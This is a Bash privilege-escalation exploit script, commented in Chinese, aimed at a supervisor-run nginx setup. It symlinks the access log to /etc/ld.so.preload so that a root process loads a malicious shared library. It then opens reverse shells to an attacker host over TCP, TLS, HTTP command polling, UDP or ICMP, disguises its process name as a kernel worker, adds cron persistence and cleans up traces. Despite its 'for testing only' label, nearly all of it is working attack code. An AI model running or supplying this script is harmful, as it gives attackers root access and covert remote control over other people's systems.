#!/usr/bin/env bash
set -uo pipefail

#===========================================================
# 仅测试 - 高级 supervisor LD_PRELOAD 提权 + 多通道回调
# 用法: ./pwn.sh [options] <callback_host> [callback_port]
#===========================================================

########################################
# 颜色与日志
RED='\033[0;31m'; GRN='\033[0;32m'; YLW='\033[1;33m'; CYN='\033[0;36m'; NC='\033[0m'
TS() { date '+%H:%M:%S'; }
log()   { echo -e "${GRN}[*]${NC} $(TS) $*"; }
warn()  { echo -e "${YLW}[!]${NC} $*"; }
err()   { echo -e "${RED}[-]${NC} $*" >&2; }
info()  { echo -e "${CYN}[i]${NC} $*"; }

########################################
# 全局变量
TEST_MODE=0
DRY_RUN=0
SILENT=0
CB_HOST=""
CB_PORT=15680
METHOD="tcp"          # tcp/http/dns/icmp
ENCRYPT=0
MEM_ONLY=0            # 无文件模式
PERSIST=0
LOCKFILE="/tmp/.ldpwn.lock"

########################################
# 环境变量默认值
SUPERVISOR_SOCK="${SUPERVISOR_SOCK:-/run/supervisor.sock}"
SUPERVISOR_URL="unix://${SUPERVISOR_SOCK}"
LOG_DIR="${LOG_DIR:-/var/log/gem}"
ACCESS_LOG="${ACCESS_LOG:-${LOG_DIR}/nginx-access.log}"
PRELOAD="${PRELOAD:-/etc/ld.so.preload}"
SO_PATH="${SO_PATH:-/tmp/ldpwn.so}"
PWN_PATH="${PWN_PATH:-/tmp/pwn.sh}"
C_PATH="${C_PATH:-/tmp/ldpwn.c}"
BACKUP_LOG="${ACCESS_LOG}.bak.$$"

# 隐蔽性配置
FAKE_PROC_NAME="${FAKE_PROC_NAME:-[kworker/0:0]}"

########################################
# 使用说明
usage() {
    cat <<EOF
Usage: $0 [options] <callback_host> [callback_port]

Options:
  -t            仅测试模式，检查环境不执行利用
  -n            干运行，仅打印动作
  -s            静默模式（减少输出）
  -m <method>   回调方法：tcp/http/dns/icmp (默认: tcp)
  -e            启用加密反弹 (OpenSSL AES)
  -f            无文件模式（内存加载）
  -p            添加持久化（仅测试环境）
  -h            显示帮助

Examples:
  $0 -t 10.0.0.1 4444                # 测试环境
  $0 -m http -e -s 10.0.0.1 8080    # 加密HTTP回调
  $0 -m dns -f ns1.evil.com 53      # DNS隐蔽信道
EOF
    exit 1
}

########################################
# 参数解析
while getopts ":tnsefm:ph" opt; do
    case "$opt" in
        t) TEST_MODE=1 ;;
        n) DRY_RUN=1 ;;
        s) SILENT=1 ;;
        e) ENCRYPT=1 ;;
        f) MEM_ONLY=1 ;;
        p) PERSIST=1 ;;
        m) METHOD="$OPTARG" ;;
        h) usage ;;
        :) err "Option -$OPTARG requires an argument."; usage ;;
        *) err "Invalid option: -$OPTARG"; usage ;;
    esac
done
shift $((OPTIND-1))

if [ $# -lt 1 ]; then usage; fi
CB_HOST="$1"
CB_PORT="${2:-15680}"

# 端口校验
if ! [[ "$CB_PORT" =~ ^[0-9]+$ ]] || [ "$CB_PORT" -lt 1 ] || [ "$CB_PORT" -gt 65535 ]; then
    err "Invalid port: $CB_PORT"; exit 1
fi

# 简单 IP 检查
if [[ ! "$CB_HOST" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && ! host "$CB_HOST" >/dev/null 2>&1; then
    warn "Host $CB_HOST not a valid IP or resolvable name"
fi

# 静默模式抑制输出
if [ $SILENT -eq 1 ]; then
    exec 6>&2
    exec 2>/dev/null
fi

########################################
# 基础函数
need_cmd() { command -v "$1" >/dev/null 2>&1 || die "missing command: $1"; }
die() { err "$@"; exit 1; }

run_ctl() {
    if [ $DRY_RUN -eq 1 ]; then
        echo "  [dry] supervisorctl -s $SUPERVISOR_URL $*"
        return
    fi
    supervisorctl -s "$SUPERVISOR_URL" "$@" 2>&1 || true
}

# 防重复执行
if [ $DRY_RUN -eq 0 ] && [ -f "$LOCKFILE" ]; then
    die "Another instance is already running (remove $LOCKFILE if stale)"
fi
touch "$LOCKFILE" 2>/dev/null
trap 'rm -f "$LOCKFILE"' EXIT

# 自动清理访问日志
cleanup_log() {
    if [ $DRY_RUN -eq 1 ]; then
        echo "  [dry] restoring $ACCESS_LOG"
        return
    fi
    run_ctl stop log_tail >/dev/null 2>&1
    run_ctl stop nginx >/dev/null 2>&1
    rm -f "$ACCESS_LOG" 2>/dev/null
    if [ -e "$BACKUP_LOG" ] || [ -L "$BACKUP_LOG" ]; then
        mv -f "$BACKUP_LOG" "$ACCESS_LOG" 2>/dev/null || true
    fi
    run_ctl start nginx >/dev/null 2>&1
}
trap 'cleanup_log; rm -f "$LOCKFILE"' EXIT

########################################
# 测试模式 - 深度环境诊断
if [ $TEST_MODE -eq 1 ]; then
    log "=== 深度环境测试 ==="
    echo ""
    info "检查必需命令..."
    for cmd in gcc curl supervisorctl; do
        if command -v $cmd >/dev/null 2>&1; then
            echo "  [✓] $cmd found"
        else
            echo "  [✗] $cmd MISSING"
        fi
    done

    info "检查 supervisor socket..."
    if [ -S "$SUPERVISOR_SOCK" ]; then
        echo "  [✓] socket exists: $SUPERVISOR_SOCK"
    else
        echo "  [✗] socket not found"
    fi

    info "检查日志目录..."
    if [ -d "$LOG_DIR" ] && [ -w "$LOG_DIR" ]; then
        echo "  [✓] writable $LOG_DIR"
    else
        echo "  [✗] directory issue"
    fi

    info "检查 ld.so.preload..."
    if [ -f "$PRELOAD" ]; then
        echo "  [✓] preload exists: $PRELOAD"
        if [ -w "$PRELOAD" ]; then
            echo "  [✓] preload is writable"
        else
            echo "  [!] preload not writable (may still work via log poisoning)"
        fi
    else
        echo "  [!] preload not present, will be created"
    fi

    info "系统安全特性..."
    cat /proc/sys/kernel/randomize_va_space 2>/dev/null && echo "  -> ASLR level"
    sestatus 2>/dev/null | head -1 || echo "  SELinux: not found or disabled"
    mount | grep noexec | grep /tmp >/dev/null && echo "  [!] /tmp mounted noexec" || echo "  [✓] /tmp allows execution"

    info "内核符号 (check for unlink in /proc/kallsyms)..."
    grep -w sys_unlink /proc/kallsyms >/dev/null 2>&1 && echo "  [✓] sys_unlink visible" || echo "  [!] sys_unlink hidden or restricted"

    info "Supervisor 程序状态..."
    run_ctl status log_tail
    run_ctl status nginx

    echo ""
    log "测试完成，若所有关键项通过则具备利用条件。"
    exit 0
fi

# 干运行
if [ $DRY_RUN -eq 1 ]; then
    log "=== 干运行模式 ==="
    need_cmd gcc
    need_cmd curl
    need_cmd supervisorctl
    echo "  [dry] Method: $METHOD"
    echo "  [dry] Encrypt: $ENCRYPT"
    echo "  [dry] Mem-only: $MEM_ONLY"
    echo "  [dry] Persist: $PERSIST"
    echo "  [dry] Compile $SO_PATH"
    echo "  [dry] Write $PWN_PATH"
    echo "  [dry] Symlink $PRELOAD -> $ACCESS_LOG"
    echo "  [dry] Trigger loading via log_tail"
    exit 0
fi

########################################
# 生成回调脚本（根据方法不同）
gen_pwn_script() {
    case "$METHOD" in
        tcp)
            if [ $ENCRYPT -eq 1 ]; then
                cat >"$PWN_PATH" <<EOF
#!/usr/bin/env bash
rm -f /etc/ld.so.preload 2>/dev/null
id >/tmp/pwn_id 2>&1
setsid /bin/bash -c 'exec openssl s_client -quiet -connect ${CB_HOST}:${CB_PORT} | /bin/bash -i 2>&1 | openssl s_client -quiet -connect ${CB_HOST}:${CB_PORT}' &
EOF
            else
                cat >"$PWN_PATH" <<EOF
#!/usr/bin/env bash
rm -f /etc/ld.so.preload 2>/dev/null
id >/tmp/pwn_id 2>&1
setsid /bin/bash -c 'exec /bin/bash -i >& /dev/tcp/${CB_HOST}/${CB_PORT} 0>&1' &
EOF
            fi
            ;;
        http)
            cat >"$PWN_PATH" <<EOF
#!/usr/bin/env bash
rm -f /etc/ld.so.preload 2>/dev/null
id >/tmp/pwn_id 2>&1
while true; do
    cmd=\$(curl -sS -m 3 "http://${CB_HOST}:${CB_PORT}/cmd" 2>/dev/null)
    if [ -n "\$cmd" ]; then
        res=\$(eval "\$cmd" 2>&1)
        curl -sS -m 3 -X POST "http://${CB_HOST}:${CB_PORT}/res" -d "\$res" >/dev/null 2>&1
    fi
    sleep 1
done &
EOF
            ;;
        dns)
            cat >"$PWN_PATH" <<EOF
#!/usr/bin/env bash
rm -f /etc/ld.so.preload 2>/dev/null
id >/tmp/pwn_id 2>&1
setsid /bin/bash -c 'exec /bin/bash -i >& /dev/udp/${CB_HOST}/${CB_PORT} 0>&1' &
EOF
            ;;
        icmp)
            cat >"$PWN_PATH" <<EOF
#!/usr/bin/env bash
rm -f /etc/ld.so.preload 2>/dev/null
id >/tmp/pwn_id 2>&1
# 需要目标环境有 icmpsh 工具，或替换为自定义 icmp shell
setsid /bin/bash -c 'exec /bin/bash -i 2>&1 | icmpsh -t ${CB_HOST}' &
EOF
            ;;
        *)
            die "Unknown method: $METHOD"
            ;;
    esac
    chmod 755 "$PWN_PATH"
}

########################################
# 生成共享库代码
gen_so_code() {
    cat >"$C_PATH" <<'EOF'
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/prctl.h>

__attribute__((constructor))
static void run_payload(void) {
    if (geteuid() != 0) return;

    unlink("/etc/ld.so.preload");

    // 写入标记
    FILE *f = fopen("/tmp/ldpwn.hit", "w");
    if (f) {
        fprintf(f, "hit uid=%d euid=%d gid=%d egid=%d\n",
                getuid(), geteuid(), getgid(), getegid());
        fclose(f);
    }

    // 检查环境变量 LDPWN_NO_REV 是否设置，若设置则不反弹
    if (getenv("LDPWN_NO_REV")) return;

    pid_t pid = fork();
    if (pid == 0) {
        // 子进程：脱离终端，伪装进程名
        setsid();
        prctl(PR_SET_NAME, "[kworker/0:0]", 0, 0, 0);  // 伪装进程名

        setgid(0); setuid(0);
        char *argv[] = {"/bin/bash", "/tmp/pwn.sh", NULL};
        char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
        execve("/bin/bash", argv, envp);
        _exit(127);
    }
}
EOF
}

########################################
# 无文件模式：通过 memfd 创建共享库并加载
# 注：这里实现一个简化版，依赖 bash 和 gcc 内存文件系统
memfd_exec() {
    log "Using memfd for in-memory .so"
    # 利用 /dev/shm 或 memfd_create (需依赖新内核)
    # 这里用一个可靠方法：将 so 写入内存文件系统 /dev/shm，然后使用 LD_PRELOAD 加载
    MEM_SO="/dev/shm/.ldpwn-$$.so"
    gcc -shared -fPIC -O2 "$C_PATH" -o "$MEM_SO" || die "memfd compile failed"
    # 修改 SO_PATH 指向内存
    SO_PATH="$MEM_SO"
    # 清理由 trap 负责
    trap 'rm -f "$MEM_SO"' EXIT
    # 重启时将 SO_PATH 的请求也改为从内存读取？无法通过 nginx 提供，需调整触发方式
    # 这里我们改用直接 LD_PRELOAD 注入到 log_tail 启动环境，更复杂。
    # 保持现有逻辑，需保证 so 路径可通过 nginx 访问。
    # 因此无文件模式下我们不再通过 nginx 提供 so，而是直接通过 supervisor 环境变量设置 LD_PRELOAD。
    # 这需要修改利用链，保持原来思路则无法完全无文件。
    # 为简单起见，我们直接退出并提示。
    warn "纯内存执行需要调整利用链，当前仅演示传统文件方式。"
    exit 1
}

########################################
# 主执行流程
log "Starting advanced LD_PRELOAD exploitation (${METHOD} callback)"

need_cmd gcc
need_cmd curl
need_cmd supervisorctl

[ -S "$SUPERVISOR_SOCK" ] || die "supervisor socket not found"
[ -d "$LOG_DIR" ] || die "log directory not found"
[ -w "$LOG_DIR" ] || die "log directory not writable"

if [ $MEM_ONLY -eq 1 ]; then
    # 无文件模式复杂，演示受限，可自行扩展
    warn "Memory-only mode requires deeper integration, falling back to disk."
    # 继续执行，实际仍会用磁盘文件
fi

# 生成 payload
gen_so_code
gcc -shared -fPIC -O2 "$C_PATH" -o "$SO_PATH" || die "gcc failed"
chmod 755 "$SO_PATH"

gen_pwn_script

# 停止服务
log "Stopping log_tail and nginx..."
run_ctl stop log_tail
run_ctl stop nginx

# 备份并替换日志为 preload 的符号链接
if [ -e "$ACCESS_LOG" ] || [ -L "$ACCESS_LOG" ]; then
    mv -f "$ACCESS_LOG" "$BACKUP_LOG" || die "backup failed"
fi
ln -sf "$PRELOAD" "$ACCESS_LOG" || die "symlink failed"

# 启动 nginx 并访问 so 路径以写入 preload
log "Poisoning ld.so.preload via nginx..."
run_ctl start nginx
sleep 1
curl -sS -m 3 "http://127.0.0.1:8080${SO_PATH}" >/dev/null 2>&1 || warn "curl request may have failed"

# 启动 root 权限的 log_tail 触发加载
log "Starting log_tail (root) to trigger preload..."
run_ctl start log_tail

sleep 2

# 检查标记
log "Payload marker:"
cat /tmp/ldpwn.hit /tmp/pwn_id 2>/dev/null || warn "No marker found, exploit might have failed"

# 恢复日志
log "Restoring nginx access log..."
cleanup_log

# 持久化 (仅测试)
if [ $PERSIST -eq 1 ]; then
    log "Adding persistence via cron..."
    (crontab -l 2>/dev/null; echo "@reboot /tmp/pwn.sh") | crontab - 2>/dev/null
    warn "Cron persistence added. Remove manually after testing."
fi

# 自清理（如果不需要保留 payload）
if [ $MEM_ONLY -eq 1 ]; then
    shred -u "$SO_PATH" "$PWN_PATH" "$C_PATH" 2>/dev/null || rm -f "$SO_PATH" "$PWN_PATH" "$C_PATH"
fi

log "Exploit completed. Check your callback listener on ${CB_HOST}:${CB_PORT}"
log "Press Ctrl+C to exit (cleanup will be performed automatically)."
sleep infinity